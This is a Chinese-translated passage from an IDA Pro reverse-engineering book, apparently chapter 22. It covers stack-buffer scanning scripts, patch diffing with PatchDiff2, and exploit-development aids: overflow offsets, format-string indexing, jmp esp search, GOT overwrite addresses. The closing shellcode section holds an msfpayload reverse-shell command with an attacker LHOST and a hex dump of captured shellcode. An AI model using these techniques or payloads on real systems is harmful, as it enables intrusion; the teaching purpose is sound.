此函数通过重复调用 `GetMemberName` ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png) 来定位堆栈帧中的所有变量,对于堆栈帧中所有有效的偏移量。变量的大小是通过计算两个连续变量的起始偏移量之间的差值来计算的 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854063.png)。如果大小超过阈值大小 (`minsize`) ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854093.png),则该变量被报告为可能的堆栈缓冲区。结构体中的索引通过以下方式移动:当当前偏移量没有定义成员时,通过 1 字节 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854095.png) 移动;当当前偏移量找到任何成员时,通过该成员的大小 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854099.png) 移动。`GetMemberSize` 函数可能看起来更适合计算每个堆栈变量的大小;然而,这只有在变量已被 IDA 或用户正确设置大小的情况下才成立。考虑以下堆栈帧:

.text:08048B38 sub_8048B38 proc near
.text:08048B38
.text:08048B38 var_818 = byte ptr −818h
.text:08048B38 var_418 = byte ptr −418h
.text:08048B38 var_C = dword ptr −0Ch
.text:08048B38 arg_0 = dword ptr 8


使用显示的字节偏移量,我们可以计算出从 `var_818` 的开始到 `var_418` 的开始有 1,024 字节(`818h - 418h = 400h`),从 `var_418` 的开始到 `var_C` 的开始有 1,036 字节(`418h - 0Ch`)。然而,堆栈帧可能扩展以显示以下布局:

-00000818 var_818 db ?
−00000817 db ? ; undefined
−00000816 db ? ; undefined
...
−0000041A db ? ; undefined
−00000419 db ? ; undefined
−00000418 var_418 db 1036 dup(?)
−0000000C var_C dd ?


在这里,`var_418` 已被合并为一个数组,而 `var_818` 看起来只是一个单字节(1,023 个未定义字节填充了 `var_818` 和 `var_418` 之间的空间)。对于这种堆布局,`GetMemberSize` 将报告 `var_818` 为 1 字节,`var_418` 为 1,036 字节,这是一个不理想的结果。调用 `findStackBuffers(0x08048B38, 16)` 的输出如下,无论 `var_818` 被定义为单字节还是 1,024 字节的数组:

sub_8048B38: possible buffer var_818: 1024 bytes
sub_8048B38: possible buffer var_418: 1036 bytes


创建一个 `main` 函数,该函数遍历数据库中的所有函数(见第十五章 [IDA Scripting]),并对每个函数调用 `findStackBuffers`,这将生成一个快速指出程序中堆栈缓冲区使用的脚本。当然,确定这些缓冲区中的任何一个是否可以被溢出需要额外的(通常是手动)对每个函数的研究。静态分析的繁琐性质正是模糊测试如此受欢迎的原因。

* * *

^([186]) 通常,通过模糊测试发现的安全漏洞比通过静态分析发现的要多得多。

^([187]) 例如,参见 Jon Erickson 的 *Hacking: The Art of Exploitation, 2nd Edition* ([`nostarch.com/hacking2.htm`](http://nostarch.com/hacking2.htm)).

^([188]) 请参阅 [`www.veracode.com/`](http://www.veracode.com/).

^([189]) 请参阅 [`www.sourceforge.net/projects/bugscam/`](http://www.sourceforge.net/projects/bugscam/).

# 使用 IDA 进行事后的漏洞发现

关于软件漏洞应该如何披露的精确过程一直存在永无休止的争论。对于任何软件中发现的漏洞,我们可以分配发现者(漏洞的发现者)和维护者(软件的维护者)的角色。此外,我们可以指定一些可能发生也可能不发生的事件,这些事件围绕任何漏洞的发现。其中一些事件在此简要描述。请记住,整个漏洞披露过程是一个激烈争论的话题,以下术语绝对没有标准化,甚至没有被广泛接受。

**发现**

漏洞最初被发现的时间。在我们的目的中,我们也将这个时间视为针对该漏洞的利用程序最初开发的时间。

**通知**

软件维护者最初意识到其产品中存在漏洞的时间。这可能与管理员自己发现漏洞时的情况一致。

**披露**

漏洞对公众公开的时间。这一事件可能会因为关于漏洞的详细程度而变得复杂。披露可能伴随着或没有工作利用程序的发布或识别。在某些情况下,披露也作为对供应商的通知。

**缓解**

发布步骤的时间,如果遵循这些步骤,可以防止用户成为现有利用程序的受害者。缓解步骤是用户等待补丁发布时的临时解决方案。

**补丁可用性**

维护者(或第三方)提供修正版漏洞软件的时间。

**补丁应用**

用户实际安装更新、修正软件的时间,使他们(希望)对所有已知依赖该漏洞存在的攻击免疫。

许多论文都乐于告诉你关于漏洞窗口、发现者和维护者的义务,以及应该披露多少信息以及何时进行披露。直截了当地说,披露通常与补丁的可用性同时发生。

在大多数情况下,漏洞警告信息与补丁一起发布。漏洞警告信息提供了一定程度的技术细节,描述了已修补问题的性质和严重性,但通常这种细节水平不足以用于开发针对该问题的有效利用。为什么有人想要开发有效利用又是一个问题。显然,有些人对利用未修补的计算机感兴趣,并且利用工具开发得越快,他们利用更多计算机的机会就越大。在其他情况下,供应商可能对开发扫描网络或实时检测利用尝试的技术感兴趣。在大多数情况下,开发此类工具需要详细了解新修补漏洞的确切性质。

警告信息可能缺少一些关键信息,例如包含漏洞的确切文件或文件名、任何易受攻击函数的名称或位置,以及这些函数内部具体发生了什么变化。然而,修补后的文件本身却包含了漏洞开发者为了开发针对新修补漏洞的有效利用所需的全部信息。这些信息并不立即明显,也不是明确为漏洞开发者准备的。相反,这些信息以消除潜在漏洞所进行的更改的形式存在。突出这些更改的最简单方法是将修补后的二进制文件与其未修补的对应版本进行比较。如果我们有幸能够查找修补源文件中的差异,那么标准基于文本的比较工具,如`diff`,可以轻松地定位更改。不幸的是,追踪二进制文件两个版本之间的行为变化比简单的文本文件比较要复杂得多。

使用差异计算来隔离两个二进制文件中的更改的困难在于,二进制文件可能由于多种原因而发生变化。更改可能是由编译器优化、编译器本身的更改、源代码的重组、添加与漏洞无关的代码,以及当然,修补漏洞本身的代码触发的。挑战在于将行为变化(例如,修复漏洞所需的变化)从外观变化(例如,使用不同的寄存器来完成相同任务)中分离出来。

有许多专门为二进制差异比较设计的工具可用,包括来自 Zynamics 的商业 BinDiff;^([190]) 来自 eEye Digital Security 的免费 Binary Diffing Suite (BDS);^([191]) Turbodiff,^([192)) 同样免费,由 Core Labs 提供(Core Security 的组成部分,也是 Core Impact 的制造商^([193])); 以及 Nicolas Pouvesle 的 PatchDiff2^([194]))。这些工具中的每一个都以某种方式依赖于提供的 IDA。BinDiff 和 BDS 使用 IDA 脚本和插件来对被分析的补丁版本和未补丁版本的二进制文件执行初始分析任务。插件提取的信息存储在后端数据库中,每个工具都提供基于图形的显示,并可以在分析阶段检测到的差异中进行导航。Turbodiff 和 PatchDiff2 作为 IDA 插件实现,并在 IDA 本身中显示其结果。这些工具的最终目标是快速突出显示修补漏洞所做的更改,以便理解代码最初为何会存在漏洞。有关每个工具的更多信息可在其各自的网站上找到。

PatchDiff2 是免费差异比较工具的代表,是一个开源项目,提供编译后的插件,包括 32 位和 64 位 Windows 版本,以及插件源代码的子版本访问。安装插件涉及将插件二进制文件复制到 *<IDADIR>/plugins*。

使用 PatchDiff2 的第一步是为要比较的两个二进制文件创建两个单独的 IDA 数据库,每个数据库对应一个二进制文件。通常,其中一个数据库会为二进制文件的原版创建,而另一个数据库则会为二进制文件的修补版创建。

| **名称** | PatchDiff2 |
| --- | --- |
| **作者** | Nicolas Pouvesle |
| **分发** | IDA 5.7 的源代码和二进制文件 |
| **价格** | 免费 |
| **描述** | 二进制差异生成和显示 |
| **信息** | [`code.google.com/p/patchdiff2/`](http://code.google.com/p/patchdiff2/) |

启用插件通常涉及打开原始二进制文件的数据库,然后通过 Edit ▸ Plugins 菜单或其关联的热键(默认为 ctrl-8)激活 PatchDiff2。PatchDiff2 将你调用插件的数据库称为 *IDB1*,或“第一个 idb”。激活后,PatchDiff2 将要求打开第二个数据库,该数据库将与当前打开的数据库进行比较;这个数据库被称为 *IDB2*,或“第二个 idb”。一旦选择了第二个数据库,PatchDiff2 将为每个数据库中的每个函数计算一系列识别特征,包括各种类型的签名、哈希值和 CRC 值。利用这些特征,PatchDiff2 创建了三个函数列表,分别称为 *Identical Functions*、*Unmatched Functions* 和 *Matched Functions*。PatchDiff2 在每个新标签页窗口中显示这些列表。

Identical Functions 列表包含 PatchDiff2 认为在两个数据库中都相同的函数列表。从分析的角度来看,这些函数可能不太有趣,因为它们对生成修补版二进制文件的变化没有贡献。

Unmatched Functions 列表显示了两个数据库中看起来彼此不相似的功能,根据 PatchDiff2 应用的度量标准。在实践中,这些函数可能已被添加到修补版本中,从未修补版本中删除,或者与同一二进制文件中的其他功能太相似,以至于无法将它们与第二个二进制文件中的对应功能区分开来。通过仔细的手动分析,通常可以在 Unmatched Functions 列表中匹配函数对。作为一个一般规则,手动比较具有相似签名数量的函数结构是一个好主意。为了便于这样做,最好根据 *sig* 列对列表进行排序,以便具有相似签名数量的函数列在一起。这里显示了按 *sig* 排序的未匹配函数列表的前几行。

File Function name Function address Sig Hash CRC


1 sub_7CB25FE9 7CB25FE9 000000F0 F4E7267B 411C3DCC
1 sub_7CB6814C 7CB6814C 000000F0 F4E7267B 411C3DCC
2 sub_7CB6819A 7CB6819A 000000F0 F4E7267B 411C3DCC
2 sub_7CB2706A 7CB2706A 000000F0 F4E7267B 411C3DCC


很明显,来自第一个文件的两个函数与来自第二个文件的两个函数是相关的;然而,PatchDiff2 无法确定如何将它们配对。在二进制文件中,使用 C++ *标准模板库 (STL)* 的程序中看到具有相同结构的多个函数并不罕见。如果你能够手动将一个文件中的一个函数与其在另一个文件中的对应函数匹配,你可以使用 PatchDiff2 的 *Set Match* 功能(可在上下文相关菜单中找到)来选择列表中的一个函数并将其匹配到列表中的第二个函数。图 22-1 显示了 Set Match 对话框。

![使用 PatchDiff2 手动匹配函数](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854338.png.jpg)

图 22-1. 使用 PatchDiff2 手动匹配函数

手动匹配开始于您使用“设置匹配”菜单选项选择一个函数。在随后出现的对话框中,您必须在您未查看的文件中输入匹配函数的地址。传播选项要求 PatchDiff2 匹配尽可能多的其他函数,前提是您已告知它一个新的匹配。

匹配函数列表包含 PatchDiff2 根据匹配过程中应用的度量标准认为足够相似但又不完全相同的函数列表。在列表中的任何条目上右键单击并选择显示图形,将导致 PatchDiff2 显示两个匹配函数的流程图。图 22-2 中显示了一对这样的图形。PatchDiff2 使用颜色编码来突出显示已添加到二进制补丁版本中的块,这使得关注代码的更改部分变得容易。

![PatchDiff2 图形函数比较](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854341.png.jpg)

图 22-2. PatchDiff2 图形函数比较

在这些图形中,块 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png) 到 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854095.png) 在两个函数中都存在,而块 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854099.png) 已添加到函数的补丁版本中。在差异分析期间,匹配函数最初可能最具兴趣,因为它们很可能包含已合并到补丁二进制文件中的更改,这些更改解决了原始二进制文件中发现的漏洞。仔细研究这些更改可能会揭示为解决错误行为或可利用条件而进行的修正或安全检查。如果我们未能找到在匹配函数列表中突出显示的任何有趣更改,那么未匹配函数列表是我们尝试定位补丁代码的唯一其他选项。

* * *

^([190]) 请参阅 [`www.zynamics.com/bindiff.html`](http://www.zynamics.com/bindiff.html)。请注意,2011 年 3 月,Zynamics 被谷歌收购。

^([191]) 请参阅 [`research.eeye.com/html/tools/RT20060801-1.html`](http://research.eeye.com/html/tools/RT20060801-1.html)。

^([192]) 请参阅 [`corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=tool&name=turbodiff`](http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=tool&name=turbodiff)。

^([193]) 请参阅 [`www.coresecurity.com/content/core-impact-overview/`](http://www.coresecurity.com/content/core-impact-overview/)。

^([194]) 请参阅 [`code.google.com/p/patchdiff2`](http://code.google.com/p/patchdiff2)。注意,亚历山大·皮克(Alexander Pick)已将 PatchDiff2 移植到适用于 OS X 的 IDA 6.0。更多信息请参阅 [`github.com/alexander-pick/patchdiff2_ida6`](https://github.com/alexander-pick/patchdiff2_ida6)。

# IDA 和漏洞利用开发过程

假设您设法找到了一个可能可利用的漏洞,IDA 如何帮助漏洞利用开发过程?要回答这个问题,您需要了解您需要什么类型的帮助,以便您能够利用 IDA 的适当功能。

IDA 在几个方面非常出色,这些方面可以在开发漏洞利用时节省您大量的试错时间:

+   IDA 图可以用来确定控制流路径,从而理解一个易受攻击的函数是如何被到达的。在大型的二进制文件中,可能需要仔细选择图生成参数,以最小化生成的图的复杂性。有关 IDA 图的更多信息,请参阅 第九章。

+   IDA 将堆栈帧分解到非常详细的程度。如果您正在覆盖堆栈中的信息,IDA 将帮助您了解哪些缓冲区部分覆盖了哪些信息。IDA 堆栈显示在确定格式化字符串缓冲区的内存布局方面也非常宝贵。

+   IDA 具有出色的搜索功能。如果您需要在二进制中搜索特定的指令(如 `jmp esp`)或指令序列(如 `pop/pop/ret`),IDA 可以快速告诉您指令(们)是否存在于二进制中,如果是的话,指令(们)的确切虚拟地址。

+   由于 IDA 将二进制映射为在内存中加载的样子,这使得您更容易找到您可能需要的虚拟地址,以便实施您的漏洞利用。IDA 的反汇编列表使得确定任何全局分配的缓冲区的虚拟地址以及有用的地址(例如 `GOT` 条目)变得简单,当您具有写 4^([195]) 能力时。

我们将在以下几节中讨论这些功能以及如何利用它们。

## 栈帧分解

虽然堆栈保护机制正在迅速成为现代操作系统的标准功能,但许多计算机仍在运行允许代码在堆栈中执行的操作系统,就像在普通的基于堆栈的缓冲区溢出攻击中所做的那样。即使堆栈保护措施已经到位,溢出也可能被用来破坏基于堆栈的指针变量,这可以进一步被利用来完成攻击。

无论您在发现基于堆栈的缓冲区溢出时打算做什么,了解当您的数据溢出到易受攻击的堆栈缓冲区时,确切地哪些堆栈内容将被覆盖,这一点至关重要。您可能还想知道确切需要写入多少字节到缓冲区,才能控制函数堆栈帧内的各种变量,包括函数的保存返回地址。如果您愿意做一点数学计算,IDA 的默认堆栈帧显示可以回答所有这些问题。堆栈中任意两个变量之间的距离可以通过减去这两个变量的堆栈偏移量来计算。以下堆栈帧包括一个当输入到相应函数时可以仔细控制的缓冲区可以被溢出:

−0000009C result dd ?
−00000098 buffer_132 db 132 dup(?) ; this can be overflowed
−00000014 p_buf dd ? ; pointer into buffer_132
−00000010 num_bytes dd ? ; bytes read per loop
−0000000C total_read dd ? ; total bytes read
−00000008 db ? ; undefined
−00000007 db ? ; undefined
−00000006 db ? ; undefined
−00000005 db ? ; undefined
−00000004 db ? ; undefined
−00000003 db ? ; undefined
−00000002 db ? ; undefined
−00000001 db ? ; undefined
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?) ; save return address
+00000008 filedes dd ? ; socket descriptor


从易受攻击的缓冲区(`buffer_132`)的起始位置到保存的返回地址的距离是 156 字节(`4 - −98h`,或者`4 - −152`)。您还可以看到,在 132 字节(`−14h - −98h`)之后,`p_buf`的内容将开始被覆盖,这可能会也可能不会引起问题。为了防止在触发漏洞之前目标应用程序崩溃,您必须清楚地理解覆盖缓冲区末尾之外变量的影响。在这个例子中,`filedes`(一个套接字描述符)可能是一个另一个有问题的变量。如果易受攻击的函数在您完成缓冲区溢出之后期望使用套接字描述符,那么您需要确保任何对`filedes`的覆盖都不会导致函数意外出错。处理将要被覆盖的变量的一个策略是将对程序有意义的值写入这些变量,以便程序在您的漏洞触发之前继续正常工作。

为了使堆栈帧的分解更易于阅读,我们可以修改来自示例 22-3 的堆栈缓冲区扫描代码,以枚举堆栈帧的所有成员,计算它们的明显大小,并显示每个成员到保存返回地址的距离。示例 22-4 显示了生成的脚本。

示例 22-4. 使用 Python 枚举单个堆栈帧

func = ScreenEA() #process function at cursor location
frame = GetFrame(func)
if frame != −1:
Message("Enumerating stack for %s\n" % GetFunctionName(func))
eip_loc = GetFrameLvarSize(func) + GetFrameRegsSize(func)
prev_idx = −1
idx = 0
while idx < GetStrucSize(frame):
member = GetMemberName(frame, idx)
if member is not None:
if prev_idx != −1:
#compute distance from previous field to current field
delta = idx - prev_idx
Message("%15s: %4d bytes (%4d bytes to eip)\n" %
(prev, delta, eip_loc - prev_idx))
prev_idx = idx
prev = member
idx = idx + GetMemberSize(frame, idx)
else:
idx = idx + 1
if prev_idx != −1:
#make sure we print the last field in the frame
delta = GetStrucSize(frame) - prev_idx
Message("%15s: %4d bytes (%4d bytes to eip)\n" %
(prev, delta, eip_loc - prev_idx))


此脚本介绍了`GetFrameLvarSize`和`GetFrameRegsSize`函数(也可在 IDC 中找到)。这些函数分别用于检索堆栈帧局部变量和保存寄存器区域的大小。保存的返回地址直接位于这两个区域下方,保存返回地址的偏移量是通过这两个值的总和计算得出的 ![图片链接](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png)。当针对我们的示例函数执行脚本时,它会产生以下输出:

Enumerating stack for handleSocket
result: 4 bytes ( 160 bytes to eip)
buffer_132: 132 bytes ( 156 bytes to eip)
p_buf: 4 bytes ( 24 bytes to eip)
num_bytes: 4 bytes ( 20 bytes to eip)
total_read: 12 bytes ( 16 bytes to eip)
s: 4 bytes ( 4 bytes to eip)
r: 4 bytes ( 0 bytes to eip)
fildes: 4 bytes ( −4 bytes to eip)


这些结果提供了一个关于函数堆栈帧的简洁总结,并附有对漏洞开发者可能有用的附加信息。

IDA 的堆栈帧显示在开发针对格式字符串漏洞的漏洞利用时也非常有用。例如,考虑以下简短的代码片段,其中调用了 `fprintf` 函数,并使用用户提供的缓冲区作为格式字符串。

.text:080488CA lea eax, [ebp+format]
.text:080488D0 mov [esp+4], eax ; format
.text:080488D4 mov eax, [ebp+stream]
.text:080488DA mov [esp], eax ; stream
.text:080488DD call _fprintf


在这个例子中,只向 `fprintf` 传递了两个参数,一个文件指针 ![http://atomoreilly.com/source/no_starch_images/854061.png] 和用户缓冲区的地址作为格式字符串 ![http://atomoreilly.com/source/no_starch_images/854063.png]。这些参数占据了堆栈上的前两个位置,这是调用函数作为函数序言的一部分已经分配的内存。漏洞函数的堆栈帧显示在 示例 22-5 中。

示例 22-5. 格式字符串示例的堆栈帧

−00000128 db ? ; undefined
−00000127 db ? ; undefined
−00000126 db ? ; undefined
−00000125 db ? ; undefined
−00000124 db ? ; undefined
−00000123 db ? ; undefined
−00000122 db ? ; undefined
−00000121 db ? ; undefined
−00000120 db ? ; undefined
−0000011F db ? ; undefined
−0000011E db ? ; undefined
−0000011D db ? ; undefined
−0000011C db ? ; undefined
−0000011B db ? ; undefined
−0000011A db ? ; undefined
−00000119 db ? ; undefined
−00000118 s1 dd ? ; offset
−00000114 stream dd ? ; offset
−00000110 format db 264 dup(?)


从帧偏移 `128h` 到 `119h` 的 16 个未定义字节代表了编译器(在本例中为 gcc)为传递给将被漏洞函数调用的函数的参数预分配的内存块。`stream` 参数将放置在堆栈的顶部 ![http://atomoreilly.com/source/no_starch_images/854061.png],而格式字符串指针将放置在 `stream` 参数的下方 ![http://atomoreilly.com/source/no_starch_images/854063.png]。

在格式字符串漏洞利用中,攻击者通常对格式字符串指针到包含攻击者输入的缓冲区开始的距离感兴趣。在前面的堆栈帧中,16 个字节将格式字符串参数与实际的格式字符串缓冲区分隔开来。为了进一步讨论,我们将假设攻击者输入了以下格式字符串。

"%x %x %x %x %x"


在这里,`fprintf` 函数期望在格式字符串参数之后立即有五个参数。这四个参数将占据格式字符串参数和格式字符串缓冲区之间的空间。最后一个,也是第五个参数将覆盖格式字符串缓冲区的第一个四个字节。熟悉格式字符串漏洞的读者会知道,格式字符串内的参数可以通过索引号明确命名。以下格式字符串示例展示了如何访问格式字符串之后的第五个参数,以便将其格式化为十六进制值。

"%5$x"


继续上一个示例,这个格式字符串将读取格式字符串缓冲区的第一个 4 个字节作为整数(我们之前提到,如果需要,它将占据格式字符串第五个参数的空间),然后将该整数格式化为十六进制值,并将结果输出到指定的文件流。格式字符串的附加参数(第六个、第七个等)将重叠格式字符串缓冲区内的连续 4 字节块。

构造一个能够正确利用易受攻击的二进制文件的格式字符串可能很棘手,通常依赖于对格式字符串中参数的精确指定。前面的讨论表明,在许多情况下,IDA 可以快速准确地计算格式字符串缓冲区中所需的偏移量。通过结合 IDA 在反汇编各种程序部分时提供的信息,例如全局偏移表 (*.got*) 或析构函数表 (*.dtor*),可以准确地推导出正确的格式字符串,而无需像仅使用调试器开发漏洞利用时那样进行试错。

## 定位指令序列

为了可靠地实现漏洞利用,通常很有用采用一种控制传输机制,该机制不需要你知道你的 shellcode 所在的精确内存地址。这在你将 shellcode 放置在堆或栈中时尤其正确,这可能会使你的 shellcode 的地址不可预测。在这种情况下,找到在漏洞利用触发时恰好指向你的 shellcode 的寄存器是可取的。例如,如果 ESI 寄存器在控制指令指针的瞬间已知指向你的 shellcode,那么如果指令指针恰好指向一个`jmp esi`或`call esi`指令,这将非常有帮助,因为它会将执行流程引导到你的 shellcode,而无需你知道 shellcode 的确切地址。同样,`jmp esp`通常是将控制权转移到你放在栈中的 shellcode 的非常方便的方法。这利用了这样一个事实:当包含易受攻击缓冲区的函数返回时,栈指针将指向刚刚覆盖的相同保存的返回地址下方。如果你继续覆盖栈,超过保存的返回地址,那么栈指针将指向你的数据(应该是代码!)。一个指向你的 shellcode 的寄存器与一个通过跳转到或调用该寄存器指向的位置来重定向执行指令序列的组合被称为*跳板*。

寻找此类指令序列的概念并非新事物。在论文“Linux 和 Windows 之间漏洞利用方法的变化”的附录 D 中,David Litchfield 提出了一个名为 *getopcode.c* 的程序,用于在 Linux ELF 二进制文件中搜索有用的指令。沿着类似的思路,Metasploit^([198]) 项目提供了其 `msfpescan` 工具,该工具能够扫描 Windows PE 二进制文件中的有用指令序列。如果有机会,IDA 与这些工具一样能够定位有趣的指令序列。

为了举例说明,假设你想要在特定的 x86 二进制文件中定位一个 `jmp esp` 指令。你可以使用 IDA 的文本搜索功能来查找字符串 `jmp esp`,你只有在恰好有正确数量的空格在 *jmp* 和 *esp* 之间时才会找到它,而且你不太可能在任何情况下找到它,因为任何编译器很少使用跳入堆栈的操作。那么为什么还要搜索呢?答案在于,你真正感兴趣的不是反汇编文本 `jmp esp` 的出现,而是无论其位置如何的字节序列 `FF E4`。例如,以下指令包含一个嵌入的 `jmp esp`:

.text:080486CD B8 FF FF E4 34 mov eax, 34E4FFFFh


如果需要 `jmp esp`,则可以使用虚拟地址 `080486CFh`。IDA 的二进制搜索(搜索 ▸ 字节序列)功能是快速定位此类字节序列的正确方法。当执行针对已知字节序列的精确匹配的二进制搜索时,请记住执行区分大小写的搜索,否则像 `50 C3` (`push eax/ret`) 这样的字节序列将被字节序列 `70 C3`(因为 50h 是大写的 *P*,而 70h 是小写的 *p*)匹配,这是一个带有-61 字节相对偏移量的溢出跳转。可以使用 `FindBinary` 函数编写脚本进行二进制搜索,如下所示:

ea = FindBinary(MinEA(), SEARCH_DOWN | SEARCH_CASE, "FF E4");


此函数调用从数据库中的最低虚拟地址开始向下(向高地址)搜索,以区分大小写的方式,寻找 `jmp esp` (`FF E4`)。如果找到序列,返回值是字节序列开始的虚拟地址。如果没有找到序列,返回值是 BADADDR(-1)。在本书的网站上有一个自动化搜索更广泛指令种类的脚本。使用此脚本,我们可能请求搜索将控制权转移到由 EDX 寄存器指向的位置的指令,并得到以下类似的结果:

Searching...
Found jmp edx (FF E2) at 0x80816e6
Found call edx (FF D2) at 0x8048138
Found 2 occurrences


像这样的便捷脚本可以在确保我们在数据库中搜索项目时不会忘记涵盖所有可能的案例的同时,节省大量时间。

## 寻找有用的虚拟地址

我们将简要提到的最后一项是 IDA 在其反汇编中显示虚拟地址。我们知道我们的 shellcode 最终将出现在静态缓冲区(例如`.data`或`.bss`部分)的情况几乎总是比我们的 shellcode 落在堆或栈上的情况更好,因为我们最终得到一个已知的、固定的地址,我们可以将其控制权转移。这通常消除了需要 NOP 滑动或找到特殊指令序列的需要。

NOP 滑动

*NOP*滑动是一个由连续的 nop(什么都不做)指令组成的序列,当我们的 shellcode 地址已知且有些可变时,提供了一个更宽的目标来命中我们的 shellcode。我们不是针对我们的 shellcode 的第一个有用指令进行定位,而是针对 NOP 滑动的中间部分。如果 NOP 滑动(以及因此我们的有效负载的其余部分)在内存中稍微向上或向下移动,我们仍然有很大的机会落在滑动内并成功运行到我们的 shellcode。例如,如果我们有 500 个 NOP 作为 shellcode 的前缀空间,我们可以针对滑动的中间部分,只要我们猜测的滑动中间地址在实际地址的 250 字节范围内。

一些攻击利用了攻击者能够将任何他们喜欢的数据写入他们选择的任何位置的事实。在许多情况下,这可能会限制为 4 字节覆盖,但这个数量通常证明是足够的。当可能进行 4 字节覆盖时,一个替代方案是将函数指针覆盖为我们 shellcode 的地址。大多数 ELF 二进制文件中使用的动态链接过程利用一个称为*全局偏移表(GOT)*的函数指针表来存储动态链接库函数的地址。当这些表中的一个条目可以被覆盖时,就可以劫持一个函数调用并将调用重定向到攻击者选择的位置。在这种情况下,攻击者的典型事件序列是在已知位置放置 shellcode,然后覆盖将被利用程序调用的下一个库函数的 GOT 条目。当库函数被调用时,控制权将转移到攻击者的 shellcode。

在 IDA 中,通过滚动到`got`部分并浏览你希望覆盖的条目的函数,可以轻松找到 GOT 条目的地址。然而,为了尽可能自动化,以下 Python 脚本会快速报告给定函数调用将使用的 GOT 条目地址:

ea = ScreenEA()
dref = ea
for xref in XrefsFrom(ea, 0):
if xref.type == fl_CN and SegName(xref.to) == ".plt":
for dref in DataRefsFrom(xref.to):
Message("GOT entry for %s is at 0x%08x\n" %
(GetFunctionName(xref.to), dref))
break
if ea == dref:
Message("Sorry this does not appear to be a library function call\n")


此脚本通过将光标放在对库函数的任何调用上,例如以下调用,并调用脚本来执行。

.text:080513A8 call _memset


脚本通过遍历交叉引用直到到达 GOT 来操作。检索到的第一个交叉引用 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png) 被测试以确保它是一个调用引用,并且它引用了 ELF 程序链接表 (`.plt`)。PLT 条目包含读取 GOT 条目并将控制权转移到 GOT 条目中指定的地址的代码。检索到的第二个交叉引用 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854063.png) 获取正在从 PLT 读取的位置的地址,这就是相关 GOT 条目的地址。在先前的 `_memset` 调用上执行时,脚本在我们示例二进制文件上的输出如下:

GOT entry for .memset is at 0x080618d8


如果我们的目的是通过劫持对 `memset` 的调用来控制程序,那么这个输出为我们提供了所需的确切信息,即我们需要覆盖地址 `0x080618d8` 的内容,将其替换为我们的 shellcode 地址。

* * *

^([195]) *write4* 功能为攻击者提供了将 4 个字节写入其选择的内存位置的机会。

^([196]) 想要了解更多关于格式字符串漏洞利用的读者可以再次参考 Jon Erickson 的 *《黑客:利用的艺术,第 2 版》*。

^([197]) 请参阅 [`www.nccgroup.com/Libraries/Document_Downloads/Variations_in_Exploit_methods_between_Linux_and_Windows.sflb.ashx`](http://www.nccgroup.com/Libraries/Document_Downloads/Variations_in_Exploit_methods_between_Linux_and_Windows.sflb.ashx)。

^([198]) 请参阅 [`www.metasploit.com/`](http://www.metasploit.com/)。

# 分析 Shellcode

到目前为止,本章主要关注 IDA 作为攻击工具的使用。在我们结束之前,提出 IDA 作为防御工具至少一种用途可能是个不错的想法。与任何其他二进制代码一样,确定 shellcode 的唯一方法是对其进行反汇编。当然,首先的要求是获取一些 shellcode。如果你是好奇的类型,并且一直想知道 Metasploit 负载是如何工作的,你可以简单地使用 Metasploit 生成原始形式的负载,然后对生成的 blob 进行反汇编。

以下 Metasploit 命令生成一个负载,该负载将回连到攻击者的计算机上的 4444 端口,并在目标 Windows 计算机上为攻击者提供一个 shell:

./msfpayload windows/shell_reverse_tcp LHOST=192.168.15.20 R >

w32_reverse_4444


生成的文件包含请求的原始二进制形式的负载。该文件可以在 IDA 中打开(以二进制形式打开,因为它没有特定的格式),并通过将显示的字节转换为代码来获得反汇编。

shellcode 还可能出现在网络数据包捕获中。缩小确切哪些数据包包含 shellcode 可能是一个挑战,欢迎您查阅大量关于网络安全方面的书籍,这些书籍将很高兴告诉您如何找到所有那些讨厌的数据包。现在,考虑在 DEFCON 18 网络捕获中观察到的攻击的重新组装客户端流:

00000000 AD 02 0E 08 01 00 00 00 47 43 4E 93 43 4B 91 90 ........GCN.CK..
00000010 92 47 4E 46 96 46 41 4A 43 4F 99 41 40 49 48 43 .GNF.FAJCO.A@IHC
00000020 4A 4E 4B 43 42 49 93 4B 4A 41 47 46 46 46 43 90 JNKCBI.KJAGFFFC.
00000030 4E 46 97 4A 43 90 42 91 46 90 4E 97 42 48 41 48 NF.JC.B.F.N.BHAH
00000040 97 93 48 97 93 42 40 4B 99 4A 6A 02 58 CD 80 09 ..H..B@K.Jj.X...
00000050 D2 75 06 6A 01 58 50 CD 80 33 C0 B4 10 2B E0 31 .u.j.XP..3...+.1
00000060 D2 52 89 E6 52 52 B2 80 52 B2 04 52 56 52 52 66 .R..RR..R..RVRRf
00000070 FF 46 E8 6A 1D 58 CD 80 81 3E 48 41 43 4B 75 EF .F.j.X...>HACKu.
00000080 5A 5F 6A 02 59 6A 5A 58 99 51 57 51 CD 80 49 79 Z_j.YjZX.QWQ..Iy
00000090 F4 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 50 54 .Rh//shh/bin..PT
